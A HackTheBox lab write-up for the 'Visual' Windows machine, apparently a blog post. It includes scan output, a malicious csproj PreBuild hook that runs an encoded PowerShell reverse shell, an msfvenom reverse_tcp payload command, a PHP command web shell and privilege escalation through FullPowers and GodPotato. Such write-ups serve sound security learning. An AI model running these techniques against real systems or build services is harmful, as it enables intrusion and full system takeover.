Visual HackTheBox Writeup

S0l4ris-211
8 min readFeb 27, 2024

--

Visual is a Medium Windows machine featuring a web service that accepts user-submitted `.NET 6.0` project repositories, building and returning the executables. By setting up a local Git repository containing a project with the `PreBuild` option set, a payload can be executed, leading to a reverse shell on the machine as the user `enox`. The user is able to write files on the web root directory and thus an attacker can get a reverse shell as the `nt authority\local service` account. Looking at the privileges of the service account, one is able to deduce that the basic privileges have been stripped off of the account. Nonetheless, there is a way to recover the privileges of the `local service` account, including the `SeImpersonate` privilege. Once this privilege is restored, the attacker is able to use a Potato exploit and get a shell as `nt authority\system`.

Machine Info

Short Info of the machine

Scanning

Naabu:

naabu -host 10.129.225.10 -top-ports 10000 -json -v -r 2000

__
___ ___ ___ _/ / __ __
/ _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/ v2.0.5

projectdiscovery.io

Use with caution. You are responsible for your actions
Developers assume no liability and are not responsible for any misuse or damage.
[INF] Running CONNECT scan with non root privileges
[INF] Found 1 ports on host 10.129.225.10 (10.129.225.10)
{"ip":"10.129.225.10","port":80}

Nmap:

sudo nmap -sC -A -T4 -vvv -p- 10.129.225.10 
[sudo] password for jarvis:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-27 13:39 +06
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:39
Completed NSE at 13:39, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:39
Completed NSE at 13:39, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:39
Completed NSE at 13:39, 0.00s elapsed
Initiating Ping Scan at 13:39
Scanning 10.129.225.10 [4 ports]
Completed Ping Scan at 13:39, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:39
Completed Parallel DNS resolution of 1 host. at 13:39, 0.05s elapsed
DNS resolution of 1 IPs took 0.05s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:39
Scanning 10.129.225.10 [65535 ports]
Discovered open port 80/tcp on 10.129.225.10
SYN Stealth Scan Timing: About 21.83% done; ETC: 13:41 (0:01:51 remaining)
SYN Stealth Scan Timing: About 45.38% done; ETC: 13:41 (0:01:13 remaining)
Completed SYN Stealth Scan at 13:41, 122.15s elapsed (65535 total ports)
Initiating Service scan at 13:41
Scanning 1 service on 10.129.225.10
Completed Service scan at 13:41, 6.12s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 10.129.225.10
Retrying OS detection (try #2) against 10.129.225.10
Initiating Traceroute at 13:41
Completed Traceroute at 13:41, 0.06s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 13:41
Completed Parallel DNS resolution of 2 hosts. at 13:41, 0.05s elapsed
DNS resolution of 2 IPs took 0.05s. Mode: Async [#: 2, OK: 0, NX: 2, DR: 0, SF: 0, TR: 2, CN: 0]
NSE: Script scanning 10.129.225.10.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:41
Completed NSE at 13:41, 5.07s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:41
Completed NSE at 13:41, 0.20s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:41
Completed NSE at 13:41, 0.00s elapsed
Nmap scan report for 10.129.225.10
Host is up, received echo-reply ttl 127 (0.050s latency).
Scanned at 2024-02-27 13:39:08 +06 for 138s
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-title: Visual - Revolutionizing Visual Studio Builds
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=2/27%OT=80%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=65DD9226%P=x86_64-pc-linux-gnu)
SEQ(SP=106%GCD=1%ISR=10E%TI=I%II=I%SS=S%TS=U)
OPS(O1=M53CNW8NNS%O2=M53CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%O6=M53CNNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M53CNW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental

TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 50.37 ms 10.10.14.1
2 50.36 ms 10.129.225.10

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:41
Completed NSE at 13:41, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:41
Completed NSE at 13:41, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:41
Completed NSE at 13:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 138.24 seconds
Raw packets sent: 131247 (5.779MB) | Rcvd: 116 (5.688KB)

Adding host to our /etc/hosts file

echo "10.129.225.10  visual.htb" | sudo tee -a /etc/hosts

Going to the website shows the below website which says an interesting thing to look out:

We currently support .NET 6.0 and C# programs, so make sure your Git Repo includes a .sln file for successful compilation. Trust Visual to simplify and streamline your project compilation process like never before.

It also shows us a git repo submit section. I have tried with ‘.git’ and get responses from the host.

Http://tun0_ip/.git

Foot Hold (Enox user)

We need to create a project to upload in this repo and get a malicious executable to get reverse shell on the target machine. For this we will use below commands to generate our expected output

$ dotnet new sln -o rick
$ cd rick
$ dotnet new console -o rick.ConsoleApp --framework net6.0
$ dotnet sln rick.sln add rick.ConsoleApp/rick.ConsoleApp.csproj

We will use the below template program for CS:

using System;

class Program
{
static void Main()
{
Console.WriteLine("Hello, World!");
}
}

Sample execution (Process):

Test case

We can generate a reverse shell:

https://www.revshells.com/

rick.ConsoleApp.csproj file:

<Project Sdk="Microsoft.NET.Sdk">

<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net6.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
<Exec Command="powershell -Command '<powershell base64_encode_msg>'" />
</Target>

</Project>
This is my payload

After building the project, we will upload this in the repo link like above sample.

We will get this notification from the website, and in our listener we get our shell.

We will upgrade the shell into Metasploit. To this we will use the below payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=1234 -f psh -o payload.ps1

And we will upload this in the target machine:

And we successfully get the shell upgraded as meterpreter

Privilege Escalation

We will upload a basic php file for running OS command, sample is given here. Then, we will transfer the file in the target machine.

Now we can run OS commands.

We will run our powershell command to get shell as “nt authority\local service”.

And got shell!

Currently, there is not useful privilege is enabled on the target machine. But here comes with a magic. As we are ‘local service’ user, we can manipulate some privilege to get back into the system which were disabled. For this we will use Fullpowers exploit.

we will then upload it into the target machine and run the below command as shown:

Now check for whoami /priv you will see that we get some dangerous privileges in the machine which will be used for exploiting for privilege escalation.

Here “SeImpersonatePrivilege” is enabled. We can use Godpotato or any potato script to exploit it.

After that we will transfer the executable into the machine.

Now run the exploit as shown below:

And we will get a shell as “nt authority\system” in the machine. (PaWned!)

Conclusion

In short, I enjoyed this machine. This is the first machine that that was launched in HTB season III. I learned about the local service account how we can manipulate privilege in a machine. Finally, a warm thanks to the machine creator. Hi this is rick4287 (discord:r1ck4287). Follow me in Linkedin

--

--

S0l4ris-211
S0l4ris-211

Written by S0l4ris-211

A dedicated Cyber Security enthusiasm person, Red Teamer & Penetration Tester.